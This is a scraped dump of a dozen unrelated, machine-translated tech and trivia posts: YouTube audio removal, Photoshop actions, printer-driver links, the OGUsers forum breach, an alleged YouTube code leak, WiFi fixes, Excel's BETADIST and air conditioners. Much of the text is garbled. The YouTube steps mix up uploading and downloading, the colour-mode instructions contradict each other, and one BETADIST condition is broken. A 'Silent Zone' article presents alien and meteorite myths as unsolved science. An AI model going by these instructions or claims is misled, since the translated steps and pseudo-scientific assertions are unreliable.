delete audio from the video using the first method, you can follow this method, we will use the YouTube website to extract audio .\nIn this method, we must upload the video in private mode, after downloading the audio file, download it. This method takes a bit of time and you need a high-speed Internet connection. Follow the steps below:\nStep 1 : First, upload the video to YouTube and when finished downloading, click the Done button.\n  Important note : Upload the video in Private mode so no one other than you can watch the video.\nStep 2 : After the video is uploaded to YouTube, go to Video Manager to see the video has just finished downloading.\n  Step 3 : On Video Manager , find the downloaded video and click the down arrow button next to the Edit option and select Audio .\n  Step 4 : When in the Audio section, just select any random sound from the Features Tracks list and then click the Position audio button.\n  Step 5 : Now, you can customize the position of the sound according to your needs by dragging the slider. (Example: In the screenshot below, the audio part has been cut in half).\n  Step 6 : If you want to completely remove the audio track from the video, simply drag the sound slider to the end and then click the Done positioning option.\n  Step 7 : Finally, click the Save button to save the audio changes you have made. Now the edited video will be processed and may take a few minutes to display in the video library.\nStep 8 : When you see the edited video in the library, click the down arrow next to the Edit option and select Download MP4 to download the video.\n  Therefore, you can easily delete music from video or audio using the YouTube website. The way to extract audio from this video is a bit time consuming, but if you don't install the VLC player on your computer, this is a convenient way to extract audio.\nSee also: Rip music from YouTube videos, download MP3s, download music from YouTube without using software\nThese are the two simplest methods that anyone can use to extract audio from video without taking much time and reducing video quality. Extract audio from video with extremely easy and secure VLC media player.\nI wish you all success!\nSee more:\nHow to separate audio, split video by Camtasia Studio How to extract the lyrics from the music to get the beat Why does the downloaded MP4 file have no sound? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVpa6zrdOeZJqtlJ68br%2FEqZirmaSaeqLBw6KmZp6ipLpuwsidnKirXZ67bsLLnGSappRixrDB066Zng%3D%3D\n","link":"/post/how-to-separate-audio-separate-audio-from-videos-in-vlc-and-youtube/","section":"post","tags":null,"title":"How to separate audio, separate audio from videos in VLC and YouTube"},{"body":"On Safari, Firefox has been equipped with the Reading Mode feature so that users can easily read newspapers, stories or any other content. Then all the unnecessary content on the page such as comments, ads, . will not appear in the reading interface so you can focus more on the content. However, this Reading Mode feature is not yet included in the Chrome browser. If so, users can use the Chrome Reading List utility.\nThis utility will turn the website to its own interface, displaying only text, images, or videos. Users can customize the font, page interface background, etc. Especially, the utility can operate on websites without limiting the site like the Reading Mode feature. The following article will guide you to install the Chrome Reading List utility on Google Chrome.\nSync Bookmark and Reading List on Microsoft Edge browser How to install the Chrome utility for Firefox 2 ways to copy web content without copying How to use the Chrome Reading List utility on Chrome Step 1:\nClick on the link below to access the Chrome Reading List utility settings page. The utility will bring the website to the reading interface, or you can save the website when reading it offline. But the offline reading feature will need to register for the Chrome Reading List account. If you only use the Reading Mode feature, you don't need.\nInstall the Chrome Reading List utility   Step 2:\nIf you want to register for a Chrome Reading List account , click on the utility icon and select Get an account .\n  You will then see the utility homepage offering options for creating accounts, through Facebook, Gmail, and Twitter services. Choose 1 service then proceed to enter your personal account.\n  Finally, you only need to agree to the utility homepage link to the selected service account.\n  Step 3:\nOpen the website you want to read, then click on the utility icon at the end of the browser access bar and select Read without Ads .\n  Immediately the content will be transferred to a completely new interface with a white background, completely removing ads, decorative wallpaper, . Intuitive and very clear interface for reading.\nUnder the post title will be the home page of the article so you can click on it when you want to access it.\n  Step 4:\nIn the content reader interface click on More to add customizations to the page, including large or small font sizes, change the background color for the page content.\n  Step 5:\nWhen you have an account on the utility homepage, you can click Read Offline to save the article and read it offline.\n  To review the saved posts offline, click on the widget icon and then click on the word Noosfeer . The home page of the gadget appears.\n  Click on the Offline section to view saved articles. To view the article just click on the post name and select Copy link address to see it.\n  Step 6:\nTo bookmark a post, at the article website click on the Chrome Reading List icon and then select the bookmark icon .\n  Saved posts will also be saved in the Bookmark section and you can click Read offline to enter offline reading mode.\n  Not only does it bring the Read Mode feature, but the Chrome Reading List utility on Chrome also offers many other useful features. We can customize web content, save web pages, or post articles to offline mode to read without an Internet connection.\nSee more:\nHow to create notes on Google Chrome does not need software How to check and update Google Chrome and Coc Coc to the latest version! The latest version of Chrome has saved more than 50% electricity. I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mqZ6ZlJ67qHnMqJueZZ%2Bjeqi7zqCjnmWTnb%2BwucQ%3D\n","link":"/post/how-to-turn-on-reading-mode-on-google-chrome/","section":"post","tags":null,"title":"How to turn on Reading Mode on Google Chrome"},{"body":"In fact, there are many ways to remove any object or background image in Photoshop, and the way we are about to introduce the following is arguably the simplest and easiest . Specifically, we will learn how to apply this process with the help of Photoshop Action.\nFirst, go here, and download the Photoshop Action from the Transparent Channels section. After that, we will proceed to install and integrate into Photoshop (refer here):\n  Use Transparent Channels:\nTransparent Channels ' mechanism of action is by 'digging' color areas around the main channels , while focusing on the main information filtering process of the object.\n  It is possible that this Action does not meet 100% of users' needs, but for most cases it is still effective and acceptable. To remove the background with light light tones, select Image\u0026gt; Mode\u0026gt; CMYK Color. There are 2 main actions, and only work with certain color modes:\n  Specifically, CMYK\u0026gt; Trans Layer will remove light areas from the image, applicable to many layers. Therefore, you just need to press Play selection button :\n  Examples are as follows:\n  And our results:\n  Continue:\n  Or:\n  For quite complex images, maybe we will have to do a few times to achieve the desired results:\n  Remove the Transparent Channel dark background image:\n  \nIn fact, the above set has two actions we can apply. The first action to use with the background image is light white, and the second action is used with a dark background image (as shown in the example above). Note that this action feature only works with RGB Color mode , if your image does not meet the above requirements, select Image\u0026gt; Mode\u0026gt; RGB Color to set it.\n  Make sure you are selecting the RGB section \u0026gt; Trans Layer in the Action set:\n  All you need to do now is to press the Play selection button :\n  And wait for Photoshop to finish the rest of the work:\n  Our results:\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqxtM6tpqygn6V6pL%2BUZqeaqqRif3Z50Z6kqK6VYq62wM6mmK2hk2Kvoq%2FKoKmorZ6Zeqq5wKCcrGWnnsGpec%2Bhpq2no528sXnAnKuip54%3D\n","link":"/post/how-to-use-photoshop-cs5/","section":"post","tags":null,"title":"How to use Photoshop CS5"},{"body":"In the previous article, I have detailed instructions for you\u0026nbsp; how to install the printer \u0026nbsp;directly to the computer as well as install via LAN. And after that article, I believe anyone can do it easily. I guarantee that there is no such complete and detailed tutorial on the internet today . Back to the main content in today's article, I will synthesize all types\u0026nbsp; Printer drivers \u0026nbsp;of all the most popular models today are convenient for you to monitor and download.\n  Finding printer drivers online is relatively easy, but a lot of people will not download or know how to download. If you go to its homepage to download for the first time, it will be relatively complicated and confusing. Not to mention many times when the homepage had it died suddenly, then it was no longer a problem.\nThat's why I decided to write an article synthesizing the\u0026nbsp; driver download link \u0026nbsp;of all printer models here, firstly to serve myself first, because to be honest, many times I encounter the status of the home page of the company. died (especially the HP site) and of course nothing could be done. Online search is also full of links to the home page.\u0026nbsp;\nNote: \u0026nbsp;If you currently have or have just downloaded a printer driver, do not hesitate to upload and share it for everyone to use.\nDownload the printer driver The first is that I will share with you the All-In-One driver, which is the driver that contains many installers of many different printer lines. In the process of using this, I found it on the internet, not because I created it. In general, it is also very good to use, you should download these sets to in case of need.\nNote: \u0026nbsp;This version has been packaged into an iso file, so it is very easy to use.\n 1: Link to download the full printer driver Size: 692MB File name: tipsmake_Printer_Drivers_Auto_Installer.iso MD5 code: 79998C9D55196DE1767AD29196A9D8DB Link Download here pass unzip : tipsmake.com User manual\nAfter you download it, please burn it to CD / DVD for use or you can\u0026nbsp; burn the iso file to a virtual drive \u0026nbsp;for use (recommended).\nTips: \u0026nbsp;If you do not have the need to use up all the printers in the list above or you find its capacity is too heavy, you can use\u0026nbsp; Winrar \u0026nbsp;to extract and copy the printers you need to USB to use.\n 2: Synthesize the printer drivers Note : This is a driver of popular machines that I have downloaded earlier to use. Each folder is a specific type of printer driver.\u0026nbsp;\nLink Download to PC\u0026nbsp; here. Size: 241 MB pass unzip :\u0026nbsp;tipsmake.com   Link to download the printer driver from the homepage Download\u0026nbsp; HP printer driver \u0026nbsp;at\u0026nbsp; this address . Note: \u0026nbsp;For HP printers, you can download\u0026nbsp; this tool ( backup link ) so that it automatically finds the most standard driver for the HP series. Only support for Windows 7 and above.\nDownload Canon printer driver at\u0026nbsp;this address. Download Epson printer Drvier at\u0026nbsp;this address. Download Brother printer driver at\u0026nbsp;this address. Link to download Samsung printer driver at\u0026nbsp;this address. Download Panasonic printer driver at\u0026nbsp;this address. Download Driver for Xerox printer\u0026nbsp;here. Link to download separate printer drivers The Canon 2900, Canon 3000 and HP LaserJet Pro P1102 printer driver download link has been compiled (for Windows XP, 7, 8, 8.1 and Windows 10).\nLink in Folder format\u0026nbsp; here Updating….\nEpilogue\nOK! That is also quite complete, right, hopefully after this article you can find a suitable printer driver download place\u0026nbsp; \u0026nbsp;. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kuaq6ymarqGWUpMSvuM6am2asmJp6rrvSrWScp52luabAxGanq6GeqbKzecOroK%2BdomK1sXnCmqWopl2avbS7zWY%3D\n","link":"/post/link-to-download-the-most-complete-printer-driver-hp-canon-epson/","section":"post","tags":null,"title":"Link to download the most complete printer driver (HP, Canon, Epson ...)"},{"body":"Although Microsoft has tried a lot, Bing Search has not been able to see Google Search as an alternative to everyone so far. However, an interesting thing that users love when using Bing Search is the huge collection of wallpapers from around the world displayed on the search homepage. In addition, you are also provided with information about the location of the image, as well as the author.\n Responding to user interest, Microsoft has just released the independent Bing Wallpaper wallpaper app for all Windows users. Specific usage is as follows.\n Visit this address https://www.microsoft.com/en-us/bing/bing-wallpaper?rtc=1 and click \"Install now\" to download the installation package.\n Start the installation package and unmark the default options already marked to not set Ping as the homepage, as well as select Bing as the default search engine. Then press \"Install now\".\n The installation process will take place automatically and quite quickly.\n When done, the desktop wallpaper will change to the wallpaper taken from Microsoft's Bing server.\n Bing Wallpaper will start running in the background with the system, and display the icon in the taskbar.\n When you right-click on the Bing Wallpaper icon, you will be provided with information about the currently displayed wallpaper. If you want to switch to another wallpaper, click the arrow button in the Change Wallpaper line.\n Although running in the background and constantly connected to Microsoft's Bing server to change the wallpaper, the RAM wallpaper of Bing Wallpaper is also relatively \"gentle\".\nIn general, if you are a lazy person looking for desktop wallpaper, Bing Wallpaper is a great choice for you. Of course, the background image quality of Bing Wallpaper is very good, suitable for all screen resolutions, so please be assured.\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYr%2BmuMSaqp6cXam1pnnBoqWgZaeWua28wKmcq2WRpb1uw8itn2aZXZ3CqLGMrKuom5tivKd5yKaYoJ2jYrOwvoywoKecn6zAbn2P\n","link":"/post/microsoft-released-the-bing-wallpaper-app-with-a-huge-stock-of-images-for-windows-10/","section":"post","tags":null,"title":"Microsoft released the Bing Wallpaper app with a huge stock of images for Windows 10"},{"body":"A fierce battle between hot and cold, fire and ice will take place. You predict which side will win.\nIf fire and ice \"clash\" each other, what will happen. This war has been recreated by the boys on Youtube channel TheBackyardScientist with 2 special \"guns\".\nThe simple flamethrower is equipped with a fuel sprayer and a ignition device with homemade floss to turn on and off at will.\nFreezing guns with simple structure, liquid nitrogen bottles with open and closed valves to freeze everything.\n  Check out the video below to see the results of this war.\nDuring this test, the frozen gun won. But is the result always the same?\nMythBusters program of Discovery TV channel also simulated the battle between these two \"opponents\" but the results were the exact opposite.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2BgoKCkYq%2BmwNaenKdllqGurrHToamor5WnwG6tzZ1kn6qVmsequsZmnq6mo2LEqbXCoWSgrZ5ixKq4y2auoqY%3D\n","link":"/post/the-fight-between-flamethrowers-and-freezing-guns-which-gun-will-win/","section":"post","tags":null,"title":"The fight between flamethrowers and 'freezing guns', which gun will win?"},{"body":"According to rumors, an important upgrade of the upcoming iPhone 12 is the LiDAR camera. This is the 3D camera that Apple has launched on the iPad Pro 2020, allowing the most accurate reconstruction of 3D images, to support augmented reality applications. The addition of a new camera will make the iPhone 12 a total of 4 rear cameras.\n Many people will wonder what the 4 rear camera clusters of iPhone 12 will look like. The svetapple page has given us a logical answer, with a design concept image of the upcoming iPhone 12. Only now did we realize that Apple designed the rear square camera cluster for a reason, and was calculated step by step.\n There is no more sensible arrangement, as all four cameras fit neatly in the four corners of the square module, while the LED flash is centered. We can see the design of the rear camera cluster of iPhone 12 becomes more reasonable than ever, and also more balanced than triangular layout with 3 cameras of iPhone 11.\n Svetapple also assumes that the new iPhone 12 Pro is equipped with a 6.1-inch screen, larger than the 5.8-inch screen of the iPhone 11 Pro. The iPhone 12 Pro Max has a 6.7-inch screen, larger than the 6.5-inch screen of the iPhone 11 Pro Max.\n Another big change that Svetapple has included in its design concept is that the USB-C port has replaced the traditional lightning port. Perhaps this is also what many users desire.\nAccording to recent reports, iPhone 12 will be released on schedule in the fall of this year, despite the ongoing epidemic of Covid-19.\n      ncG1vNJzZmismaXArq3KnmWcp51kwamxjKKnoaeemnpyfoycpqeblaXBbsPIrZ9mpJmZrrN5wpqknqqRYra1edOuqaerXaTCtXnAqaelnV2ZsrS1xqecnWWknbJuv9CumKudXaeyor6MnJimnaKWeqS41Kyrnqpdm7yzecBmqZ6Zo6S7\n","link":"/post/the-iphone-12-concept-with-lidar-camera-it-turns-out-apple-designed-the-square-rear-camera-cluster-for-a-reason/","section":"post","tags":null,"title":"The iPhone 12 concept with LiDAR camera, it turns out Apple designed the square rear camera cluster for a reason"},{"body":"The Bermuda Triangle and the Egyptian pyramid are famous for their unanswered mysteries that are known to the world. Song at Mapimí Silent Zone, a mysterious land in Mexico known as the \"silent zone\" also contains a lot of mysteries that make scientists headaches.\nMapimí Silent Zone: The terrestrial \"Bermuda Triangle\" Mapimí Silent Zone is a desert area near Bolsón de Mapimí, in the Mexican state of Durango. This strange land was discovered in 1930, by Francisco Sarabia , a Mexican pilot. Here, there are no signs of human life such as houses and people. All reptiles only, fibrous plants and desert wind blow all year round.\n  Francisco Sarabia (1900 - 1939), a Mexican pilot, gave the term \"Silence Zone\" in 1930. (Photo: Drsamuelbanda).\nThe name \" silent zone \" comes from the strange characteristics of the place. In this area, all radio signals, satellite signals, shortwave and telephone waves . cannot be penetrated.\nNot only that, there are also a number of inexplicable singularities that many people call Mapimí Silent Zone as the terrestrial \" Bermuda triangle \" in Mexico.\n  Regional sign \"Silent area\" in Mexico.(Photo: Apiemistika).\nMysterious stories revolve around terrestrial \"Bermuda triangle\" Francisco Sarabia's discovery and the concept of \"Silence zone\" In 1930, on a flight test of speed from Mexico City (Mexico) to New York (USA), pilot Francisco Sarabia noticed that his radio system had lost its functioning mysteriously. After many flights, he identified the mysterious land and decided to go to the place to find out.\nWhen traveling to this area, Francisco Sarabia was amazed to discover that radio signals were disabled making it impossible to spread in the air, so he called the area \"Silent Zone\" (Silent Zone ).\n  The compass at \"Silent zone\" is also disabled.(Photo: History.com)\nLater, Mexican scientists thought that this area might have been located millions of years ago . the bottom of an ocean should be called \" Silence Zone \" with another name \" Thetys Sea \".\nThe meteorite was sucked into the \"Silent Zone\" like a magnet After the announcement of the \" Silent Zone \", the study of this mysterious land was conducted by leading scientists. And surprisingly, research has found that a large number of meteorites have fallen in this area.\nThe hypothesis is that it appears that \" Silent Zone \" has a huge form of vortex energy, capable of \"sucking\" meteorites and space debris.\n  In this area, meteorites and space debris seem to be \"sucked\" in like magnets.(Illustration).\nAthena missile, one of the top mysteries of the US Air Force at \"Silence Zone\" Not only are radio waves disabled, meteorites are sucked like magnets, at \" Silent Zone \" also triggers a top-secret mystery event for the US Air Force.\nOn July 11, 1970, the US Air Force launched a test of a missile named Athena from the Green River military base (Utah). As planned, the rocket is programmed to ground about 1,126km away (at the location is White Sands, New Mexico state, USA).\n  The experimental missile Athena, carrying two small barrels containing cobalt radioactive element 57, was launched from a US military base near Green River, Utah.(Photo: Atlasobscura).\nBut the missile flew over the White Sands thousands of kilometers away, headed straight for Mexico's \" Silence Zone \". Many military experts said that the missile Athena was drawn to some \" Silent Zone \" by some attraction.\nWhen found after three weeks of searching, Athena was only a rubble and a small amount of radioactive soil.\nAppearing strange alien creatures Before the mysterious and strange things that happened here, the Mexican government built a research area near the \" Silence Zone \".\nAlso starting from here, many unusual cases are recounted by witnesses:\nAccording to the forest guards near \"Silent Zone \", one night they saw vertical flying objects hovering in this area and emitting a series of mysterious lights. The next morning, at the place where the light is emitted, trees often burn or have black marks on the ground.\nAnother story is also very thrilling by the owner of a nearby farm. This person said that their family had been visited by 3 strange creatures , even they could speak the native language. The only thing they want is a lot of water instead of asking for food or anything else.\n  Does the people near \"Silent Zone\" meet and talk to aliens?(Illustration.)\nMany believe that the \" Silent Zone \" is one of the locations created by aliens to make the alien UFO \" reception station \" to Earth.\nThe authenticity of these stories has not been tested correctly. But when a series of waves can't \"intrude\" on \"Silent Zone\" as well as objects (such as rockets, meteors) like being \"sucked\" here, this land has hidden secrets that need to be solved. It was logical.\nUnfortunately, after nearly 86 years of discovering \" Silence Zone \", the scientific community has yet to get explanations for the mysteries in this strange land.\nAlien base on Earth? In the process of studying the mysteries at \" Silence Zone \", scientists discovered an extremely unusual trait, an unexpected coincidence.\nThe coordinates of \"Silence Zone\" (at latitude 26 degrees north) are parallel to Bermuda's \" demon triangle \" and Egyptian pyramids (these two locations are at the 28th parallel north)!\n  Diagram of Giza pyramid in Egypt.Pyramids are built into perfect lines.(Photos: Wikipedia.)\n\" Silence zone \" an area where sound waves cannot penetrate. Bermuda's \" demon triangle \" region in the western Atlantic Ocean is the \"grave\" of boats and airplanes when it comes here. The world's oldest hundred-ton monolithic building series (Egyptian pyramids) are closely linked.\n Images of \"Silent Zone\", Bermuda's \"demon triangle\" and Egyptian pyramids are on two parallel lines on Earth's coordinates.(Photo: History.com)\n3 mysterious lands located on at least 2 different continents are located on 2 parallel lines on the coordinates of Earth is it a coincidence or because of the arrangement of aliens?\nncG1vNJzZmismaXArq3KnmWcp51kwamxjK6lnrCgoa6qusSdZKaxo6mys8WMrJyroZWoeqq6jK2fnmWkmr%2BzsdKtqaKZnGKvpr7MrpuaZaSntqK6xqWcZqeWYrGmuc6nqg%3D%3D\n","link":"/post/the-unexplained-mystery-series-in-the-terrestrial-bermuda-triangle-of-demons/","section":"post","tags":null,"title":"The unexplained mystery series in the terrestrial Bermuda triangle of demons"},{"body":"OGUsers, one of the most popular hacker forums on the internet, today released details of a cyber attack that the forum suffered a few days ago. Thus, this is the second time in the past 12 months that OGUsers has been the victim of a hack, despite the forum being run by the world's top hackers.\n'Some strangers have successfully hacked into our server through an existing flaw in the avatar uploader, which has been gaining access to the forum's database since 2 months. 4 2020, 'Ace, one of the forum's senior administrators said in a statement.\n Notice from Admin of OGUsers The attackers are believed to have stolen details of more than 200,000 OGUsers members. Currently, this forum has been temporarily closed for administrators to implement troubleshooting measures.\nBefore entering the maintenance phase, the OGUsers admin team said that they have reset all passwords and urged forum members to quickly activate 2-factor authentication (2FA) for their account. themselves, in order to minimize the data stolen in the hack is used to hijack accounts.\nBut perhaps the OGUsers members are well qualified to understand the situation they are facing, as well as what to do to protect their accounts.\nThat being said, this is not the first time OGUsers have been hit by the 'sticking his back', at least in the past 12 months.\nOGUsers only really emerged in 2018 when the popular technology website Motherboard identified it as one of the main places on the internet where a large number of hackers were gathering to buy and sell hacked Instagram accounts. In addition, this forum also acts as a training and meeting place for hackers who want to organize dangerous SIM swapping (SIM jacking) attacks.\nThe rapid popularity of OGUsers has attracted a lot of unwanted attention from 'colleagues'. The first 'face-off' attack occurred in May 2019, taking the personal information of 113,000 OGUsers, wiping out the forum's hard drives and then pitching the stolen data on the forum. Hack opponents.\n  It will be very harmful for members of OGUsers if their personal information goes to law enforcement because many members of this forum are involved in cyber security breaches. It also does not exclude the possibility that OGUsers are attacked by white hat hackers to collect necessary information for ongoing investigations.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjLCmq6SUqHqtrdGgnKysXZ2upLfEq2Sfp6Kqum60wKxko62jqXqjscSnZKGZk6CypXnMmqWyZZ2auqOx0axkpaGbmnq0tdOtoKefXaS7bq2Mn6CrnQ%3D%3D\n","link":"/post/the-world-s-largest-hacker-forum-has-just-been-hacked-many-members-like-sitting-on-a-fire/","section":"post","tags":null,"title":"The world's largest hacker forum has just been hacked, many members like 'sitting on a fire'"},{"body":"From October 8 to October 29, YouTube's codebase was leaked, including internal measurements of the platform and a label label, used to determine if a video had restricted from displaying on this platform or not. To avoid eye contact, YouTube immediately had to hide and hide this code.\n  During the time when YouTube's code was exposed, YouTubers like Bowblax, Nicholars DeOrio, Optimus and Josh Pescatore had the opportunity to learn and analyze their impact on 200 different channels. They found that YouTube is using its proprietary internal metrics to control YouTubers, and even score more priority on businesses, Hollywood stars than independent YouTubers.\n1. P-Score (Preference Score) priority measure\n  The P-Score score is an internal measure that is hidden. According to YouTube, the P-Score score is designed to promote Google Preferred, brand-related advertising channel networks on the platform. Basically, this score is used by YouTube to evaluate the likelihood of each video offering to potential advertisers.\nHowever, leaked codes show that every YouTube video outside of the Google Preferred program is also subject to P-Score.\n  YouTubers will not know how to increase P-Score. They only know about 5 common signals to improve this score in a video posted in April 2019.\nPopularity (Popularity) Rated based on watch time. Passion is assessed based on how engaged the audience is to the channel. The level of protection (Protection) is evaluated based on whether the content is safe for the brand or not. Platform What outstanding content is viewed on the big screen. Production capability (Production) Is assessed based on content using sophisticated camera techniques and cinematographic techniques. After the leak, it was discovered that the P-Score score was a measure based on region. P-Score scores for YouTube channels are usually higher in their home countries.\n2. The measure of label evaluation of content labels\n  The measurement of the content label label according to a 6-year-old rating system was also leaked this time. According to the analysis, the ability to monetize and distribute content on YouTube is affected by this content label rating system.\n1. Y: The content is extremely safe for everyone to watch YouTube.\n2. G: Extremely family-friendly content. Videos that achieve this criteria will probably be included in the Protection category, which will have a positive effect on P-Score scores and potentially high CPMs (cost per 1000 impressions - price per 1,000 impressions).\n3. PG: Family-friendly content in general. Videos that achieve this criteria can be included in the Protection category, which has a positive impact on P-Score scores and the ability to have great CPM.\n4. Teen: Content sometimes suitable for families. Videos that achieve this criterion can have good CPM with some advertising restrictions.\n5. Mature: Content is rarely family friendly. Rated at this criterion, videos may have a low CPM if monetization is enabled.\n6. X: Age default content, videos will never be monetized.\n3. The limited measure of display\n  This measure shows the ability of the video to be restricted from display and the rating to restrict display. YouTuber's research results show that there are two types of display restrictions including\nRestrict visibility to brand safety: Videos rated at this level will be restricted to ads. Limit ads on the video.\nRestricted visibility for special videos: Videos rated at this level will have a limited ability to distribute them on the platform.\n4. Impact of P-Score\n  After compiling P-Score scores for more than 200 different channels, YouTuber Bowblax, Nicholars DeOrio, Optimus and Josh Pescatore discovered that, not independent YouTubers, who brought the site to the same position as the day. Now it is business brands, Hollywood stars, and \"authentic sources\" that are the 'dominant' who dominate most content on the platform.\nIn the list with P-Score score is in the top 10, only one YouTuber, Linus Tech Tips entered.\nYouTube changed the way it views views on music videos, the first record battle for views in the first 24 hours Already able to use YouTube Music in Vietnam ncG1vNJzZmismaXArq3KnmWcp51kxrDB066ZnqtdqLy2vsKeZJynlJp6rbHApJydZaKaw6aty6KloGWknbJusc2toKudXaW5osDFqKmmZZ2arrTB0Z5krquVmXq1u4ycpqesoqS5bsXOrquumpWnwA%3D%3D\n","link":"/post/youtube-s-source-code-leaked-revealing-the-entire-platform-measure-used-to-control-youtubers/","section":"post","tags":null,"title":"YouTube's source code leaked, revealing the entire platform measure used to control YouTubers"},{"body":"When you use a\u0026nbsp; laptop, \u0026nbsp;you will often encounter a situation where you cannot connect to WiFi or even lose WiFi. There are many reasons that lead to this uncomfortable situation, but almost not everyone knows how to fix it. This article will help you\u0026nbsp; fix your laptop without WiFi \u0026nbsp;simply and effectively at home.\n  1. Restart the machine and the Router During use, it is possible that your laptop or Router has been in conflict. But it will take a lot of time to check each device and if both are in conflict, it will be more difficult to handle if you start each. Please restart both and then try to connect again.\n 2. Check connection mode độ Many laptops give you a shortcut to proactively adjust your network connection. Check your device's WiFi fast toggle and airplane mode to make sure that WiFi connectivity is still on.\n 3. Check the connection in Control Panel You access the \u0026nbsp;Control Panel\u0026nbsp; by\u0026nbsp; searching for the application on the Taskbar . With Control Panel You can drill down inside the network card.\n Then, you find the\u0026nbsp; Change Adapter Setting\u0026nbsp; section inside the\u0026nbsp; Network and Sharing Center section.\n Finally if You see the\u0026nbsp; network card is disabled (it's grayed out),\u0026nbsp; You\u0026nbsp; must right-click\u0026nbsp; and select\u0026nbsp; Enable .\n 4. Remove WiFi connection You may have problems with WiFi's password processing. Try opening the WiFi connection\u0026nbsp; section\u0026nbsp; and\u0026nbsp; right-clicking on the currently connected WiFi\u0026nbsp; . Then you choose\u0026nbsp; Forget\u0026nbsp; and reconnect to WiFi from the beginning.\n 5. Check the driver of the network card You need to open\u0026nbsp; Device Manager\u0026nbsp; on the system by typing the same words into the search bar on the\u0026nbsp; Taskbar .\n Then you find the Network Adapter section\u0026nbsp; , right-click and select\u0026nbsp; Uninstall\u0026nbsp; to delete the\u0026nbsp; old Driver . After that, you let the machine\u0026nbsp; update the new Driver .\n 5. Refresh IP address Use\u0026nbsp; Command Prompt to fix IP errors , search for \u0026nbsp;Cmd on the Taskbar . Then, Right-click or select on the search bar the line\u0026nbsp; Run as administrator.\n Next, type the command line\u0026nbsp; ipconfig /release \u0026nbsp;and select\u0026nbsp; Enter .\n Finally, type the command line\u0026nbsp; ipconfig /renew \u0026nbsp;so that the machine can\u0026nbsp; refresh the IP.\n 6. Do not turn on battery saving mode on laptops You should never turn on economizer mode on your laptop. In this mode, your devices will have to reduce brightness, performance and connections. To turn off this mode, go to\u0026nbsp; the battery section on the laptop and drag the adjustment bar to the center.\n How do you see these ways? Thank you very much for viewing the article.\nncG1vNJzZmismaXArq3KnmWcp51kg26%2FyKanpZ1dlrulecSfnZ6bpJ7DpnnToqesZaSkeqe112ajmqikpL1uw8itn2akn6jBbsPIn6A%3D\n","link":"/post/6-simple-and-effective-tips-to-fix-laptop-with-lost-wifi/","section":"post","tags":null,"title":"6 simple and effective tips to fix laptop with lost WiFi"},{"body":"The BETADIST function is used to calculate the probability distribution according to the Beta distribution, in which the Beta distribution is used to study the variation of samples as a percentage.\nSyntax : BETADIST (x, alpha, beta, A, B) .\nInside:\n- x : The value between the two values ​​A and B, is the value used to determine the value of the function.\n- alpha : A parameter of the distribution, is the required value.\n- beta : As a parameter of distribution.\n- A : As the lower bound of the range x, the default value is 0.\n- B : Is the upper bound of the range x, the default value is 1.\nAttention:\n- All function arguments must be numbers, otherwise the function returns the #VALUE error value.\n- Where alpha ≤ 0 or beta ≤ 0 =\u0026gt; the function returns the #NUM! Error value\n- If x B or A = B =\u0026gt; the function returns the #NUM! Error value\n- If omitting 2 parameters A and B, the function will use the normalized cumulative beta distribution with A = 0 and B = 1 .\nFor example :\nCalculate the probability distribution value according to the Beta distribution with the parameters values ​​in the following table:\n  Step 1: In the cell to calculate enter the formula = BETADIST (C6, C7, C8, C9, C10) .\n  Step 2 : Press Enter value of BETADIST function to be:\n  Above is how to use the BETADIST function and some notes when using.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kr6bAwJ2grKxdm8Kvr9Oipqdlk6q6trjAraCvnV2ZtrTA0aKZrqyZpLtustSnmq2hn6N6o7HTmmSipl2axaSxyw%3D%3D\n","link":"/post/betadist-function-cumulative-distribution-function-beta-in-excel/","section":"post","tags":null,"title":"BETADIST function - Cumulative distribution function Beta in Excel"},{"body":"Gree, Casper and Funiki air conditioners are three brands that are very much interested by Vietnamese users. All three brands are quite cheap prices, stable cooling quality, good use demand. However, there are many people still wondering what brand of air conditioner to choose? Please refer to the following article comparing the three air conditioner brands Gree, Casper and Funiki, so you can make a best choice.\nAbout 3 air conditioner brands: Gree, Casper and Funiki   \nBefore going into the comparison of three brands of air conditioners Gree, Casper and Funiki, let's learn a little about these three brands!\nGree Electric Group is a long-standing brand from China. Gree Electric is one of the well-known corporations in the world with multi-sector and multi-sector business and production scale such as: Home appliances, smart devices, communication devices and automation. Gree air conditioner brand is quite new in Vietnam, but is gradually gaining the hearts of consumers.\nCasper brand comes from Thailand Golden Temple country is a multinational company with many branches and distribution networks in many Southeast Asian countries, including Vietnam. Casper air conditioner products are imported from the factory manufacturing and assembly in Thailand.\nAnd finally, Funiki air conditioner brand, the pride of Vietnam. Funiki was founded by Hoa Phat Group with the desire to bring Vietnamese users the best experience of air conditioning products. Currently, Funiki air conditioner products are used by many people.\nAll three brands of air conditioner Gree, Casper and Funiki have their own outstanding advantages. However, to be able to stand firm in the Vietnamese market, each brand has its own strategies and 'qualities' to create its brand. To better understand this, we will explore in the next section!\nCompare Gree, Casper and Funiki air conditioners Let's find out the advantages and disadvantages of Gree, Casper and Funiki air conditioners to see which is good.\nReview Gree conditioners   \nAdvantages\nGree air conditioner has a compact design, rugged design, diverse models. Application of modern G10-Inverter technology exclusively from Gree. This technology has the ability to reduce the frequency of operation of the air conditioner to a minimum, helping to effectively chill and save electricity. Gree air conditioner is equipped with iFeel sensor right on the remote (remote), with the function of displaying the exact error code. Remote control feature via Gree + application on smartphones connected to wifi. The error code self-display feature helps you detect errors quickly, saving time and repair costs. Gree air conditioner operates stably, cooling mode, fast heating with environmentally friendly plasma ion technology. Gree air conditioners use a multi-layer air filter system to filter the air optimally, avoiding mold. Defect\nGree air conditioners are of stable quality and cheap price, but the time to launch Vietnam market is not long, not many Vietnamese users know. Located in the cheap segment, Gree air conditioner does not have many high-end models, not meeting many different customers. Evaluation of Casper conditioners   \nAdvantages\nCasper air conditioner has a harmonious design, the size is not too big, helping save space and easy installation. Casper air conditioner is integrated with modern inverter technology to help optimize energy saving. Some other modern technologies available on Casper air conditioner: iFeel intelligent cooling technology, iClean technology automatically removes dirt and mold. Cooling capacity of Casper air conditioner is quite diverse and integrated cooling mechanism quickly in just 30 seconds. Casper air conditioner has built-in fault detection function. Casper air conditioner uses 